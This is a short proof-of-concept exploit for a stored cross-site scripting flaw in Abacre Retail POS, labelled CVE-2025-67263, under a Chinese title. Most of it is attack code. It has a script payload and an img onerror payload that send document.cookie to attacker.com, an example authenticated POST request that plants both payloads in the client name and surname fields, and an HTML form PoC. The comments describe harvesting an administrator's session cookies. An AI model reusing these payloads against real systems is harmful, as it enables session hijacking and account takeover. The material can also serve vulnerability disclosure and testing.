CVE-2025-67263 Abacre Retail POS 存储型XSS漏洞

// CVE-2025-67263 PoC - Stored XSS in Abacre Retail POS Clients Module // Affected Version: Abacre Retail Point of Sale <= 14.0.0.396 // Attack Vector: Inject malicious script in Name/Surname fields // Step 1: Create or modify a client record with XSS payload in Name field const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Example HTTP POST request to create client (authentication required) const createClientRequest = { method: 'POST', url: 'http://target.com/api/clients', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <session_token>' }, body: JSON.stringify({ name: xssPayload, surname: '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">' }) }; // Step 2: When admin views the clients list, XSS payload executes // Step 3: Attacker receives victim's session cookies via callback // Simple HTML PoC for manual testing: const htmlPoc = ` <form action="http://target.com/clients/new" method="POST"> <input type="text" name="name" value='<script>alert("XSS")</script>'> <input type="text" name="surname" value='<img src=x onerror=alert(document.cookie)>'> <button type="submit">Create Client</button> </form> `; console.log('PoC Generated for CVE-2025-67263');